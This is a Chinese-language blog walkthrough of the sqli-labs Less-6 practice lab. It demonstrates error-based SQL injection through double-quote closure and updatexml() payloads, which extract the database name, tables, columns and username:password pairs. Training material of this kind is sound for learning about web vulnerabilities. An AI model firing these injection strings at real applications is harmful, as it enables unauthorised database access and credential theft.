sql-lap less-6 解析

其实这关大部分和less-5差不多,都考察的报错注入

老样子,提交id观察反应

0c1a583946e0468696bb2f66136d1585.png

 这里的回显和第五关类似。我们先尝试对前面的语句进行闭合

ed58052504e8470da7d75facc1e53c2a.png

 当id=1'"时候,语句出现报错,判断是双引号闭合。构造回显位查询语句

?id=1" order by 4--+

ae1ea9f55e5a43bb9538cb544770a659.png

 当回显位等于4时,语句报错,说明回显位为3.

先尝试进行联合注入

?id=1" union select 1,2,3--+

 35e346514acb483294ebcd4e4289e2c6.png

 没有回显,说明对回显进行的处理,需要使用报错注入。构造查询语句

?id=1" and updatexml(1,concat('~',database()),1)--+

e1cd8e71b07345c8af1a6e78b2cbfa5e.png

报错注入成功,得到库名为security

从第一行开始查询表名

?id=1" and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)--+

937d7aa55c8a469cb700b00fee9e7b8e.png

 查到第3行时,发现表users

e0e4c39927db4fb080e23b09d6841974.png

 得到表名users,构建语句查询字段

?id=1" and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)),1)--+

c083c4db85e74f3b8a749b13b4619623.png

 当limit 1,1和limit2,1时,分别得到username和password

820fad6b5e654997a2b28338f2f1574a.png49c633c981c24ecdbdc36bb4acaaead8.png

 于是构建语句依次查询2个字段下的数据

?id=1" and updatexml(1,concat('~',(select concat(username,':',password) from users limit 0,1)),1)--+

 c45cc4167ea34c7da691cf61f003db56.png

 由此类推,可以得到剩余字段。此题结束

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值